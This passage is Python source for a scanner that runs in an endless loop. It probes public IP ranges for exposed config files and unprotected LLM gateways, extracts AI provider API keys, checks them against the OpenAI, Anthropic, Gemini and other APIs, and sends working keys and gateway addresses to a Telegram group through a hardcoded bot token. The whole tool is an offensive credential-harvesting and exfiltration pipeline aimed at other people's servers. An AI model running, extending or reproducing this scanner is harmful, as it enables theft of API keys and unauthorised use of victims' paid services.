headers[header] = f'{prefix}{k_val}'\n\n async with session.get(ep, headers=headers, timeout=KEY_VALIDATE_TIMEOUT) as resp:\n if resp.status == 200:\n data = await resp.json()\n models = []\n if validator_key == 'OpenAI' or validator_key == 'DeepSeek':\n models = [m.get('id', '') for m in data.get('data', [])[:50]]\n elif validator_key == 'Anthropic':\n models = [m.get('id', '') for m in data.get('data', [])[:50]]\n elif validator_key == 'Gemini':\n models = [m.get('name', '').replace('models/', '') for m in data.get('models', [])[:50]]\n elif validator_key == 'OpenRouter':\n models = [m.get('id', '') for m in data.get('data', [])[:50]]\n result['status'] = 'valid'\n result['models'] = models\n elif resp.status == 401:\n result['status'] = 'invalid'\n else:\n result['status'] = f'http_{resp.status}'\n\n except asyncio.TimeoutError:\n result['status'] = 'timeout'\n except Exception as e:\n result['status'] = f'error_{str(e)[:30]}'\n\n return result\n\n\nasync def run_key_validation(keys: list, concurrent: int = 30) -> list:\n if not keys:\n return []\n print(f'\\n[KEY_VALIDATE] Validating {len(keys)} keys...')\n sem = asyncio.Semaphore(concurrent)\n connector = aiohttp.TCPConnector(limit=0, ssl=True, enable_cleanup_closed=True)\n validated = []\n\n async with aiohttp.ClientSession(timeout=KEY_VALIDATE_TIMEOUT, connector=connector) as sess:\n coros = [validate_key(sess, k, sem) for k in keys]\n for coro in asyncio.as_completed(coros):\n r = await coro\n validated.append(r)\n if r['status'] == 'valid':\n print(f' [VALID] {r[\"key_type\"]}: {r[\"key_value\"][:40]}... ({len(r[\"models\"])} models)')\n\n return validated\n\n\n# ═══════════════════════════════════════════════════════════════\n# PHASE 3: LLM GATEWAY DETECTION\n# ═══════════════════════════════════════════════════════════════\n\nasync def test_lite_llm_gate(session, ip, port, sem) -> dict | None:\n '''Test a LiteLLM gateway with default key.'''\n base = f'http://{ip}:{port}'\n result = {\n 'ip': ip,\n 'port': port,\n 'framework': 'LiteLLM',\n 'working_key': None,\n 'models': [],\n 'status': 'failed',\n }\n\n async with sem:\n for key in LITE_LLM_KEYS:\n headers = {'Content-Type': 'application/json'}\n if key:\n headers['Authorization'] = f'Bearer {key}'\n\n try:\n # Test models endpoint\n async with session.get(f'{base}/v1/models', headers=headers, ssl=False, timeout=AUTH_TIMEOUT) as resp:\n if resp.status == 200:\n try:\n data = await resp.json(content_type=None)\n models = parse_models(data, 'data[].id')\n if models:\n result['working_key'] = key if key else '(no-auth)'\n result['models'] = models\n result['status'] = 'models_found'\n return result\n except:\n pass\n elif resp.status == 401:\n continue\n except Exception:\n pass\n\n return result\n\n\nasync def test_generic_gate(session, ip, port, sem) -> dict | None:\n '''Test a generic OpenAI-compatible gateway.'''\n base = f'http://{ip}:{port}'\n result = {\n 'ip': ip,\n 'port': port,\n 'framework': 'Generic',\n 'working_key': None,\n 'models': [],\n 'status': 'failed',\n }\n\n async with sem:\n for key in LITE_LLM_KEYS:\n headers = {'Content-Type': 'application/json'}\n if key:\n headers['Authorization'] = f'Bearer {key}'\n\n try:\n async with session.get(f'{base}/v1/models', headers=headers, ssl=False, timeout=AUTH_TIMEOUT) as resp:\n if resp.status == 200:\n try:\n data = await resp.json(content_type=None)\n models = parse_models(data, 'data[].id')\n if models:\n result['working_key'] = key if key else '(no-auth)'\n result['models'] = models\n result['status'] = 'models_found'\n return result\n except:\n pass\n elif resp.status == 401:\n continue\n except Exception:\n pass\n\n return result\n\n\nasync def run_gate_detection(targets: list, concurrent: int = 100) -> list:\n print(f'\\n[GATE_DETECT] Testing {len(targets)} LLM gateways...')\n sem = asyncio.Semaphore(concurrent)\n connector = aiohttp.TCPConnector(limit=0, ssl=False, force_close=True)\n results = []\n done = 0\n\n async with aiohttp.ClientSession(timeout=AUTH_TIMEOUT, connector=connector) as sess:\n coros = []\n for t in targets:\n if t.get('port') in [4000, 4001, 8000]:\n coros.append(test_lite_llm_gate(sess, t['ip'], t['port'], sem))\n else:\n coros.append(test_generic_gate(sess, t['ip'], t['port'], sem))\n\n for coro in asyncio.as_completed(coros):\n r = await coro\n if r and r.get('status') == 'models_found':\n results.append(r)\n done += 1\n if done % 100 == 0:\n print(f' [{done}/{len(targets)}] working_gates={len(results)}')\n\n print(f' Working gates: {len(results)}')\n return results\n\n\n# ═══════════════════════════════════════════════════════════════\n# TELEGRAM REPORTER\n# ═══════════════════════════════════════════════════════════════\n\nasync def report_key(key_entry: dict):\n '''Send validated key to Telegram group.'''\n provider = classify_provider(key_entry['key_type'], key_entry['key_value'])\n msg = format_key_message(\n provider=provider,\n key_value=key_entry['key_value'],\n source_url=key_entry.get('source_url', f\"http://{key_entry['ip']}:{key_entry['port']}{key_entry.get('source_path','/')}\"),\n models=key_entry.get('models', []),\n key_type=key_entry.get('key_type', 'api_key'),\n )\n ok = await send_telegram(msg)\n if ok:\n print(f' [TG SENT] {provider} key to Telegram')\n return ok\n\n\nasync def report_gate(gate_entry: dict):\n '''Send working LLM gateway to Telegram group.'''\n msg = format_gate_message(\n ip=gate_entry['ip'],\n port=gate_entry['port'],\n framework=gate_entry.get('framework', 'LiteLLM'),\n working_key=gate_entry.get('working_key', ''),\n models=gate_entry.get('models', []),\n )\n ok = await send_telegram(msg)\n if ok:\n print(f\" [TG SENT] {gate_entry['framework']} gate to Telegram\")\n return ok\n\n\ndef classify_provider(key_type: str, key_value: str) -> str:\n '''Classify key by its value format.'''\n v = key_value.strip()\n if v.startswith('AIzaSy'):\n return 'Gemini'\n if v.startswith('sk-or-v1-'):\n return 'OpenRouter'\n if v.startswith('sk-ant-api03-'):\n return 'Anthropic'\n if v.startswith('sk-proj-'):\n return 'OpenAI'\n if v.startswith('sk-svcacct-'):\n return 'OpenAI'\n if v.startswith('hf_'):\n return 'HuggingFace'\n if v.startswith('sk-') and len(v) == 35 and all(c in 'abcdef0123456789' for c in v[3:]):\n return 'DeepSeek'\n if v.startswith('sk-'):\n return 'OpenAI'\n if key_type in ('OpenRouter', 'Anthropic', 'Gemini', 'DeepSeek', 'HuggingFace'):\n return key_type\n return 'API_Key'\n\n\n# ═══════════════════════════════════════════════════════════════\n# MAIN INFINITE LOOP\n# ═══════════════════════════════════════════════════════════════\n\nasync def infinite_loop(args):\n '''Main infinite scanning loop.'''\n cycle = 0\n total_keys_found = 0\n total_gates_found = 0\n\n print(f\"\\n{'='*70}\")\n print(f' INFINITE LLM SCANNER')\n print(f' Output: {OUTPUT_DIR}')\n print(f' Telegram: {TELEGRAM_CHAT_ID}')\n print(f\" Mode: {'NIANSUH_ONLY' if args.niansuh_only else ('GATE_ONLY' if args.gate_only else 'FULL')}\")\n print(f\"{'='*70}\\n\")\n\n while True:\n cycle += 1\n cycle_start = time.time()\n print(f'\\n[{'='*60}]')\n print(f\" CYCLE {cycle} — {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\")\n print(f\"[{'='*60}]\")\n\n try:\n # ── Generate IP batch ──\n targets = []\n \n # Option 1: ZMap scan for fresh IPs\n if getattr(args, 'zmap', False):\n print(f'\\n[ZMAP] Starting port scan...')\n ports_str = getattr(args, 'zmap_ports', '3000,4000,8000')\n ports = [int(p.strip()) for p in ports_str.split(',')]\n bandwidth = getattr(args, 'zmap_bandwidth', '10M')\n \n zmap_results = scan_ports_with_zmap(\n ports=ports,\n batch_size=IPS_PER_BATCH,\n bandwidth=bandwidth\n )\n \n # Convert ZMap results to targets\n targets = zmap_to_targets(zmap_results)\n print(f' ZMap collected {len(targets)} total targets')\n \n # Option 2: Fall back to generated IPs from cloud ranges\n if not targets:\n print(f'\\n[GENERATE] Building IP batch from cloud ranges...')\n targets = generate_ip_batch(count=IPS_PER_BATCH)\n print(f' Generated {len(targets)} new targets')\n\n # ── Phase 1: Niansuh Config Scan ──\n if not args.gate_only:\n keys = await run_niansuh_scan(targets, concurrent=SCAN_CONCURRENT)\n if keys:\n # ── Validate keys ──\n validated = await run_key_validation(keys, concurrent=30)\n valid_keys = [v for v in validated if v['status'] == 'valid']\n\n for vk in valid_keys:\n save_found_key(vk)\n await report_key(vk)\n total_keys_found += 1\n print(f\" [*] NEW WORKING KEY: {vk['key_type']} from {vk['ip']}\")\n\n print(f' Valid keys this cycle: {len(valid_keys)}/{len(keys)}')\n print(f' Total keys found: {total_keys_found}')\n\n # ── Phase 2: LLM Gateway Scan ──\n if not args.niansuh_only:\n # For gate detection, also use targets but on various ports\n gate_targets = [\n {'ip': t['ip'], 'port': 4000}\n for t in targets[:500] # Subset for gates\n ]\n # Add some port 3000 targets too\n gate_targets += [\n {'ip': t['ip'], 'port': 3000}\n for t in targets[:200]\n ]\n\n gates = await run_gate_detection(gate_targets, concurrent=AUTH_CONCURRENT)\n for g in gates:\n save_found_gate(g)\n await report_gate(g)\n total_gates_found += 1\n print(f\" [*] NEW WORKING GATE: {g['framework']} at {g['ip']}:{g['port']} key={g['working_key']}\")\n\n print(f' Gates this cycle: {len(gates)}')\n print(f' Total gates found: {total_gates_found}')\n\n except Exception as e:\n print(f'\\n [ERROR] Cycle {cycle} failed: {e}')\n import traceback\n traceback.print_exc()\n\n cycle_time = time.time() - cycle_start\n print(f'\\n Cycle {cycle} done in {cycle_time:.1f}s')\n print(f' Sleeping {CYCLE_SLEEP}s before next cycle...')\n\n # Save state\n state = {\n 'cycle': cycle,\n 'total_keys': total_keys_found,\n 'total_gates': total_gates_found,\n 'last_run': datetime.now().isoformat(),\n }\n json.dump(state, open(STATE_FILE, 'w'), indent=2)\n\n await asyncio.sleep(CYCLE_SLEEP)\n\n\n# ═══════════════════════════════════════════════════════════════\n# MAIN\n# ═══════════════════════════════════════════════════════════════\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Infinite LLM Gateway + Key Scanner')\n parser.add_argument('--test', action='store_true', help='Test mode (1 cycle only)')\n parser.add_argument('--niansuh-only', action='store_true', help='Only scan config files')\n parser.add_argument('--gate-only', action='store_true', help='Only test LLM gateways')\n parser.add_argument('--batch-size', type=int, default=3000, help='IPs per cycle')\n parser.add_argument('--zmap', action='store_true', help='Use ZMap to scan for open ports')\n parser.add_argument('--zmap-ports', type=str, default='3000,4000,8000',\n help='Comma-separated ports for ZMap scan (default: 3000,4000,8000)')\n parser.add_argument('--zmap-bandwidth', type=str, default='10M',\n help='ZMap bandwidth limit (default: 10M)')\n args = parser.parse_args()\n\n IPS_PER_BATCH = args.batch_size\n\n # Check ZMap availability if --zmap flag used\n if args.zmap:\n if not is_zmap_available():\n print('[ERROR] ZMap not found! Install from: https://github.com/zmap/zmap')\n print(' Ubuntu/Debian: sudo apt install zmap')\n print(' macOS: brew install zmap')\n print(' From source: git clone https://github.com/zmap/zmap.git')\n sys.exit(1)\n print(f'[ZMAP] Enabled - will scan ports: {args.zmap_ports}')\n\n if args.test:\n # Run one cycle only\n print('[TEST MODE] Running single cycle...')\n asyncio.run(infinite_loop(args))\n else:\n # Infinite loop\n print('[INFINITE MODE] Starting infinite loop (Ctrl+C to stop)...')\n try:\n asyncio.run(infinite_loop(args))\n except KeyboardInterrupt:\n print('\\n\\n[STOPPED] Scanner stopped by user.')\n print(f'State saved to: {STATE_FILE}')\n sys.exit(0)"}, "9b01698f7b3b59e4c5adc5787a215ab59cc58507": {"t": 1785773488.2845647, "n": 44650, "h": "8dc06b941b67f2c3", "c": "#!/usr/bin/env python3\nr'''\nINFINITE LLM GATEWAY + KEY SCANNER\n==================================\nLong-running scanner for VM deployment.\nFeatures:\n 1. IP Generator - builds target list from port_4000.json + random IP generation\n 2. Niansuh Config Scanner - port 3000 config file key extraction\n 3. LLM Gateway Tester - tests LiteLLM (sk-1234), Ollama, vLLM, etc.\n 4. API Key Validator - verifies extracted keys against real provider APIs\n 5. Telegram Reporter - sends ONLY working keys to group\n\nTelegram:\n Bot: 8698804293:AAGO2c3O7tIqNmGS5Nkkc2RB2-0EVBoLfEs\n Group: -1003732431449\n\nUsage:\n python infinite_scanner.py # Full infinite run\n python infinite_scanner.py --test # Test mode (small sample)\n python infinite_scanner.py --niansuh-only # Only scan config files\n python infinite_scanner.py --gate-only # Only test LLM gateways\n'''\n\nimport asyncio\nimport aiohttp\nimport json\nimport os\nimport re\nimport sys\nimport time\nimport random\nimport argparse\nimport ipaddress\nfrom datetime import datetime\nfrom pathlib import Path\nfrom collections import defaultdict, Counter\n\n# ═══════════════════════════════════════════════════════════════\n# CONFIG\n# ═══════════════════════════════════════════════════════════════\n\nBASE_DIR = Path(__file__).parent.resolve()\nOUTPUT_DIR = BASE_DIR / 'scan_output'\nOUTPUT_DIR.mkdir(exist_ok=True)\n\nSTATE_FILE = OUTPUT_DIR / 'scan_state.json'\nSEEN_KEYS_FILE = OUTPUT_DIR / 'seen_keys.json'\nSEEN_IPS_FILE = OUTPUT_DIR / 'seen_ips.json'\nFOUND_KEYS_FILE = OUTPUT_DIR / 'found_working_keys.json'\nFOUND_GATES_FILE = OUTPUT_DIR / 'found_working_gates.json'\nSCAN_LOG = OUTPUT_DIR / 'scan_log.jsonl'\n\n# Telegram config\nTELEGRAM_BOT_TOKEN = '8698804293:AAGO2c3O7tIqNmGS5Nkkc2RB2-0EVBoLfEs'\nTELEGRAM_CHAT_ID = '-1003732431449'\n\n# Concurrency\nSCAN_CONCURRENT = 150\nAUTH_CONCURRENT = 100\nCHAT_CONCURRENT = 60\n\n# Timeouts\nSCAN_TIMEOUT = aiohttp.ClientTimeout(total=8, connect=3)\nAUTH_TIMEOUT = aiohttp.ClientTimeout(total=8, connect=3)\nCHAT_TIMEOUT = aiohttp.ClientTimeout(total=25, connect=5)\nKEY_VALIDATE_TIMEOUT = aiohttp.ClientTimeout(total=30, connect=5)\n\n# Cycle sleep (seconds between IP batch scans)\nCYCLE_SLEEP = 60\n\n# Batch sizes\nIPS_PER_BATCH = 3000\nNIANSUH_PATHS_PER_TARGET = 18\n\n# ═══════════════════════════════════════════════════════════════\n# TELEGRAM\n# ═══════════════════════════════════════════════════════════════\n\nasync def send_telegram(message: str, bot_token: str = TELEGRAM_BOT_TOKEN,\n chat_id: str = TELEGRAM_CHAT_ID) -> bool:\n url = f'https://api.telegram.org/bot{bot_token}/sendMessage'\n payload = {'chat_id': chat_id, 'text': message, 'parse_mode': 'HTML'}\n try:\n async with aiohttp.ClientSession() as sess:\n async with sess.post(url, json=payload, timeout=aiohttp.ClientTimeout(total=10)) as resp:\n return resp.status == 200\n except Exception as e:\n print(f' [TG ERROR] {e}')\n return False\n\n\ndef format_key_message(provider: str, key_value: str, source_url: str,\n models: list, key_type: str = 'api_key') -> str:\n '''Format a key find message exactly like Niansuh's format.'''\n model_list = '\\n'.join(f'{m}' for m in models[:20])\n extra = f'... +{len(models)-20} more' if len(models) > 20 else ''\n return f'''🔑 KEY FOUND — {provider}\n━━━━━━━━━━━━━━━━━━━━━━\n🏷 Provider: {provider}\n🔐 Key: {key_value}\n🌐 Source: {source_url}\n🤖 Models ({len(models)}):\n{model_list}{extra}\n━━━━━━━━━━━━━━━━━━━━━━'''\n\n\ndef format_gate_message(ip: str, port: int, framework: str, working_key: str,\n models: list, source: str = '') -> str:\n model_list = '\\n'.join(f'{m}' for m in models[:20])\n extra = f'... +{len(models)-20} more' if len(models) > 20 else ''\n key_display = working_key if working_key else '(no-auth)'\n return f'''🅰️ LLM GATE FOUND — {framework}\n━━━━━━━━━━━━━━━━━━━━━━\n🌐 Endpoint: http://{ip}:{port}\n🔑 Key: {key_display}\n🏷 Framework: {framework}\n🤖 Models ({len(models)}):\n{model_list}{extra}\n━━━━━━━━━━━━━━━━━━━━━━'''\n\n\n# ═══════════════════════════════════════════════════════════════\n# IP GENERATOR\n# ═══════════════════════════════════════════════════════════════\n\n# Cloud provider IP ranges for targeted scanning\nCLOUD_RANGES = [\n # AWS\n ('3.0.0.0', '3.255.255.255'),\n ('18.0.0.0', '18.255.255.255'),\n ('52.0.0.0', '52.255.255.255'),\n ('54.0.0.0', '54.255.255.255'),\n ('35.0.0.0', '35.255.255.255'),\n ('44.0.0.0', '44.255.255.255'),\n ('52.0.0.0', '52.255.255.255'),\n ('54.0.0.0', '54.255.255.255'),\n # Azure\n ('13.64.0.0', '13.255.255.255'),\n ('20.0.0.0', '20.255.255.255'),\n ('40.0.0.0', '40.127.255.255'),\n ('52.0.0.0', '52.255.255.255'),\n ('104.0.0.0', '104.255.255.255'),\n ('108.0.0.0', '108.255.255.255'),\n # Google Cloud\n ('34.0.0.0', '34.255.255.255'),\n ('35.0.0.0', '35.255.255.255'),\n ('104.0.0.0', '104.255.255.255'),\n ('142.0.0.0', '142.255.255.255'),\n # DigitalOcean\n ('64.0.0.0', '64.255.255.255'),\n ('128.0.0.0', '128.255.255.255'),\n ('138.0.0.0', '138.255.255.255'),\n ('159.0.0.0', '159.255.255.255'),\n ('165.0.0.0', '165.255.255.255'),\n ('167.0.0.0', '167.255.255.255'),\n ('170.0.0.0', '170.255.255.255'),\n ('188.0.0.0', '188.255.255.255'),\n ('192.0.0.0', '192.255.255.255'),\n ('193.0.0.0', '193.255.255.255'),\n ('194.0.0.0', '194.255.255.255'),\n ('195.0.0.0', '195.255.255.255'),\n # Hetzner\n ('5.0.0.0', '5.255.255.255'),\n ('6.0.0.0', '6.255.255.255'),\n ('7.0.0.0', '7.255.255.255'),\n ('9.0.0.0', '9.255.255.255'),\n ('10.0.0.0', '10.255.255.255'),\n # OVH\n ('51.0.0.0', '51.255.255.255'),\n ('57.0.0.0', '57.255.255.255'),\n ('87.0.0.0', '87.255.255.255'),\n ('91.0.0.0', '91.255.255.255'),\n ('92.0.0.0', '92.255.255.255'),\n ('93.0.0.0', '93.255.255.255'),\n ('94.0.0.0', '94.255.255.255'),\n ('95.0.0.0', '95.255.255.255'),\n ('141.0.0.0', '141.255.255.255'),\n ('147.0.0.0', '147.255.255.255'),\n # Other popular\n ('45.0.0.0', '45.255.255.255'),\n ('46.0.0.0', '46.255.255.255'),\n ('47.0.0.0', '47.255.255.255'),\n ('62.0.0.0', '62.255.255.255'),\n ('65.0.0.0', '65.255.255.255'),\n ('66.0.0.0', '66.255.255.255'),\n ('72.0.0.0', '72.255.255.255'),\n ('74.0.0.0', '74.255.255.255'),\n ('75.0.0.0', '75.255.255.255'),\n ('76.0.0.0', '76.255.255.255'),\n ('77.0.0.0', '77.255.255.255'),\n ('78.0.0.0', '78.255.255.255'),\n ('79.0.0.0', '79.255.255.255'),\n ('80.0.0.0', '80.255.255.255'),\n ('81.0.0.0', '81.255.255.255'),\n ('82.0.0.0', '82.255.255.255'),\n ('83.0.0.0', '83.255.255.255'),\n ('84.0.0.0', '84.255.255.255'),\n ('85.0.0.0', '85.255.255.255'),\n ('86.0.0.0', '86.255.255.255'),\n ('89.0.0.0', '89.255.255.255'),\n ('103.0.0.0', '103.255.255.255'),\n ('107.0.0.0', '107.255.255.255'),\n ('113.0.0.0', '113.255.255.255'),\n ('114.0.0.0', '114.255.255.255'),\n ('115.0.0.0', '115.255.255.255'),\n ('116.0.0.0', '116.255.255.255'),\n ('120.0.0.0', '120.255.255.255'),\n ('121.0.0.0', '121.255.255.255'),\n ('122.0.0.0', '122.255.255.255'),\n ('123.0.0.0', '123.255.255.255'),\n ('129.0.0.0', '129.255.255.255'),\n ('130.0.0.0', '130.255.255.255'),\n ('132.0.0.0', '132.255.255.255'),\n ('134.0.0.0', '134.255.255.255'),\n ('136.0.0.0', '136.255.255.255'),\n ('144.0.0.0', '144.255.255.255'),\n ('152.0.0.0', '152.255.255.255'),\n ('157.0.0.0', '157.255.255.255'),\n ('158.0.0.0', '158.255.255.255'),\n ('160.0.0.0', '160.255.255.255'),\n ('161.0.0.0', '161.255.255.255'),\n ('164.0.0.0', '164.255.255.255'),\n ('169.0.0.0', '169.255.255.255'),\n ('170.0.0.0', '170.255.255.255'),\n ('171.0.0.0', '171.255.255.255'),\n ('172.0.0.0', '172.31.255.255'),\n ('176.0.0.0', '176.255.255.255'),\n ('178.0.0.0', '178.255.255.255'),\n ('179.0.0.0', '179.255.255.255'),\n ('180.0.0.0', '180.255.255.255'),\n ('181.0.0.0', '181.255.255.255'),\n ('182.0.0.0', '182.255.255.255'),\n ('183.0.0.0', '183.255.255.255'),\n ('185.0.0.0', '185.255.255.255'),\n ('188.0.0.0', '188.255.255.255'),\n ('193.0.0.0', '193.255.255.255'),\n ('194.0.0.0', '194.255.255.255'),\n ('195.0.0.0', '195.255.255.255'),\n ('196.0.0.0', '196.255.255.255'),\n ('197.0.0.0', '197.255.255.255'),\n ('198.0.0.0', '198.255.255.255'),\n ('199.0.0.0', '199.255.255.255'),\n ('200.0.0.0', '200.255.255.255'),\n ('201.0.0.0', '201.255.255.255'),\n ('202.0.0.0', '202.255.255.255'),\n ('203.0.0.0', '203.255.255.255'),\n ('204.0.0.0', '204.255.255.255'),\n ('205.0.0.0', '205.255.255.255'),\n ('206.0.0.0', '206.255.255.255'),\n ('207.0.0.0', '207.255.255.255'),\n ('208.0.0.0', '208.255.255.255'),\n ('209.0.0.0', '209.255.255.255'),\n ('211.0.0.0', '211.255.255.255'),\n ('212.0.0.0', '212.255.255.255'),\n ('213.0.0.0', '213.255.255.255'),\n ('214.0.0.0', '214.255.255.255'),\n ('215.0.0.0', '215.255.255.255'),\n ('216.0.0.0', '216.255.255.255'),\n ('217.0.0.0', '217.255.255.255'),\n ('218.0.0.0', '218.255.255.255'),\n ('219.0.0.0', '219.255.255.255'),\n ('220.0.0.0', '220.255.255.255'),\n ('221.0.0.0', '221.255.255.255'),\n ('222.0.0.0', '222.255.255.255'),\n ('223.0.0.0', '223.255.255.255'),\n]\n\n# Common /24 blocks for port 3000 (dev servers, web frameworks)\nDEV_SERVER_SUBNETS = [\n # Web dev ranges\n '3.0.0.0/8', '18.0.0.0/8', '52.0.0.0/8', '54.0.0.0/8',\n '35.0.0.0/8', '13.0.0.0/8', '20.0.0.0/8', '40.0.0.0/8',\n '104.0.0.0/8', '34.0.0.0/8', '142.0.0.0/8',\n '64.0.0.0/8', '128.0.0.0/8', '138.0.0.0/8', '159.0.0.0/8',\n '165.0.0.0/8', '167.0.0.0/8', '170.0.0.0/8',\n '5.0.0.0/8', '6.0.0.0/8', '7.0.0.0/8', '9.0.0.0/8',\n '51.0.0.0/8', '57.0.0.0/8', '87.0.0.0/8', '91.0.0.0/8',\n '92.0.0.0/8', '93.0.0.0/8', '94.0.0.0/8', '95.0.0.0/8',\n '141.0.0.0/8', '147.0.0.0/8',\n '45.0.0.0/8', '46.0.0.0/8', '47.0.0.0/8',\n '62.0.0.0/8', '65.0.0.0/8', '66.0.0.0/8',\n '72.0.0.0/8', '74.0.0.0/8', '75.0.0.0/8', '76.0.0.0/8',\n '77.0.0.0/8', '78.0.0.0/8', '79.0.0.0/8', '80.0.0.0/8',\n '81.0.0.0/8', '82.0.0.0/8', '83.0.0.0/8', '84.0.0.0/8',\n '85.0.0.0/8', '86.0.0.0/8', '89.0.0.0/8',\n '103.0.0.0/8', '107.0.0.0/8', '113.0.0.0/8',\n '114.0.0.0/8', '115.0.0.0/8', '116.0.0.0/8',\n '120.0.0.0/8', '121.0.0.0/8', '122.0.0.0/8', '123.0.0.0/8',\n '129.0.0.0/8', '130.0.0.0/8', '132.0.0.0/8', '134.0.0.0/8',\n '136.0.0.0/8', '144.0.0.0/8', '152.0.0.0/8',\n '157.0.0.0/8', '158.0.0.0/8', '160.0.0.0/8', '161.0.0.0/8',\n '164.0.0.0/8', '169.0.0.0/8', '171.0.0.0/8',\n '176.0.0.0/8', '178.0.0.0/8', '179.0.0.0/8',\n '180.0.0.0/8', '181.0.0.0/8', '182.0.0.0/8', '183.0.0.0/8',\n '185.0.0.0/8', '188.0.0.0/8', '193.0.0.0/8', '194.0.0.0/8',\n '195.0.0.0/8', '196.0.0.0/8', '197.0.0.0/8',\n '198.0.0.0/8', '199.0.0.0/8', '200.0.0.0/8', '201.0.0.0/8',\n '202.0.0.0/8', '203.0.0.0/8', '204.0.0.0/8', '205.0.0.0/8',\n '206.0.0.0/8', '207.0.0.0/8', '208.0.0.0/8', '209.0.0.0/8',\n '211.0.0.0/8', '212.0.0.0/8', '213.0.0.0/8', '214.0.0.0/8',\n '215.0.0.0/8', '216.0.0.0/8', '217.0.0.0/8', '218.0.0.0/8',\n '219.0.0.0/8', '220.0.0.0/8', '221.0.0.0/8', '222.0.0.0/8',\n '223.0.0.0/8',\n]\n\n# ═══════════════════════════════════════════════════════════════\n# ZMAP INTEGRATION\n# ═══════════════════════════════════════════════════════════════\n\nimport subprocess\n\nZMAP_CACHE_DIR = OUTPUT_DIR / 'zmap_cache'\nZMAP_CACHE_DIR.mkdir(exist_ok=True)\n\ndef is_zmap_available() -> bool:\n \"\"\"Check if ZMap is installed and accessible.\"\"\"\n try:\n result = subprocess.run(['zmap', '--version'], \n capture_output=True, text=True, timeout=5)\n return result.returncode == 0\n except (FileNotFoundError, subprocess.TimeoutExpired):\n return False\n\n\ndef run_zmap_scan(port: int, \n output_file: str = None,\n bandwidth: str = '10M',\n probe_rate: int = 1000,\n max_probes: int = None,\n blacklist_file: str = None,\n timeout: int = 300) -> list:\n \"\"\"\n Run ZMap port scan and return list of IPs with open port.\n \n Args:\n port: Port to scan (e.g., 3000, 4000, 8000)\n output_file: Optional file to save raw ZMap output\n bandwidth: Rate limit (e.g., '10M', '50M', '100M')\n probe_rate: Packets per second (default 1000)\n max_probes: Maximum probes to send (None = unlimited)\n blacklist_file: Path to blacklist file (IPs/ranges to skip)\n timeout: Max seconds to wait for scan\n \n Returns:\n List of IPs with open port\n \"\"\"\n if not is_zmap_available():\n print(f' [ZMAP] ZMap not found - skipping port {port}')\n return []\n \n # Generate output file path if not provided\n if output_file is None:\n ts = datetime.now().strftime('%Y%m%d_%H%M%S')\n output_file = str(ZMAP_CACHE_DIR / f'zmap_port{port}_{ts}.txt')\n \n # Build ZMap command\n cmd = [\n 'zmap',\n '-p', str(port),\n '-o', output_file,\n '-B', bandwidth,\n '-r', str(probe_rate),\n '-q', # Quiet mode\n ]\n \n # Add max probes if specified\n if max_probes:\n cmd.extend(['-n', str(max_probes)])\n \n # Add blacklist if specified\n if blacklist_file and os.path.exists(blacklist_file):\n cmd.extend(['--blacklist-file', blacklist_file])\n \n print(f' [ZMAP] Scanning port {port} at {bandwidth} bandwidth...')\n print(f' [ZMAP] Command: {\" \".join(cmd)}')\n \n try:\n result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)\n if result.returncode != 0:\n print(f' [ZMAP] Scan failed: {result.stderr}')\n return []\n \n # Parse output file (one IP per line)\n ips = []\n if os.path.exists(output_file):\n with open(output_file) as f:\n for line in f:\n ip = line.strip()\n if ip and not ip.startswith('#'):\n ips.append(ip)\n \n print(f' [ZMAP] Found {len(ips)} IPs with port {port} open')\n return ips\n \n except subprocess.TimeoutExpired:\n print(f' [ZMAP] Scan timed out after {timeout}s')\n return []\n except Exception as e:\n print(f' [ZMAP] Error: {e}')\n return []\n\n\ndef scan_ports_with_zmap(ports: list = None,\n batch_size: int = 10000,\n bandwidth: str = '5M') -> dict:\n \"\"\"\n Scan multiple ports using ZMap and return IPs grouped by port.\n \n Args:\n ports: List of ports to scan (default: [3000, 4000, 8000])\n batch_size: Max IPs to collect per port\n bandwidth: ZMap bandwidth limit\n \n Returns:\n Dict mapping port -> list of IPs\n \"\"\"\n if ports is None:\n ports = [3000, 4000, 8000]\n \n if not is_zmap_available():\n print(f' [ZMAP] ZMap not installed - install from: https://github.com/zmap/zmap')\n return {port: [] for port in ports}\n \n results = {}\n for port in ports:\n print(f'\\n [ZMAP] === Scanning port {port} ===')\n ips = run_zmap_scan(\n port=port,\n bandwidth=bandwidth,\n probe_rate=ZMAP_RATE,\n timeout=600 # 10 min timeout per port\n )\n # Limit to batch_size\n results[port] = ips[:batch_size]\n print(f' [ZMAP] Collected {len(results[port])}/{len(ips)} IPs for port {port}')\n \n return results\n\n\ndef load_zmap_results_from_file(port: int) -> list:\n \"\"\"Load cached ZMap results for a port from previous scans.\"\"\"\n cache_dir = ZMAP_CACHE_DIR\n if not cache_dir.exists():\n return []\n \n all_ips = []\n for f in cache_dir.glob(f'zmap_port{port}_*.txt'):\n try:\n with open(f) as fp:\n for line in fp:\n ip = line.strip()\n if ip and not ip.startswith('#'):\n all_ips.append(ip)\n except:\n pass\n \n return list(set(all_ips))\n\n\ndef zmap_to_targets(zmap_results: dict) -> list:\n \"\"\"\n Convert ZMap results to target format used by scanner.\n \n Args:\n zmap_results: Dict mapping port -> list of IPs\n \n Returns:\n List of target dicts with ip, port, source\n \"\"\"\n targets = []\n seen = load_seen_ips()\n \n for port, ips in zmap_results.items():\n for ip in ips:\n key = f'{ip}:{port}'\n if key not in seen:\n targets.append({\n 'ip': ip,\n 'port': port,\n 'source': 'zmap',\n 'subnet': f'{ip.rsplit(\".\", 1)[0]}.0/24',\n })\n seen.add(key)\n \n save_seen_ips(seen)\n return targets\n\n\n# /24 blocks to scan (subnets within larger ranges)\ndef generate_ip_batch(count: int = 3000) -> list:\n '''Generate random IPs for port 3000 scanning.'''\n targets = []\n seen = load_seen_ips()\n count_per_subnet = max(50, count // len(DEV_SERVER_SUBNETS))\n\n for subnet in DEV_SERVER_SUBNETS:\n try:\n net = ipaddress.ip_network(subnet, strict=False)\n # Get 256 IPs from random positions in this /24\n all_hosts = list(net.hosts())\n if len(all_hosts) >= count_per_subnet:\n random.shuffle(all_hosts)\n batch = all_hosts[:count_per_subnet]\n else:\n batch = all_hosts\n for ip in batch:\n ip_str = str(ip)\n key = f'{ip_str}:3000'\n if key not in seen:\n targets.append({\n 'ip': ip_str,\n 'port': 3000,\n 'source': 'generated',\n 'subnet': subnet,\n })\n seen.add(key)\n except Exception:\n pass\n if len(targets) >= count:\n break\n\n save_seen_ips(seen)\n return targets[:count]\n\n\n# ═══════════════════════════════════════════════════════════════\n# STATE 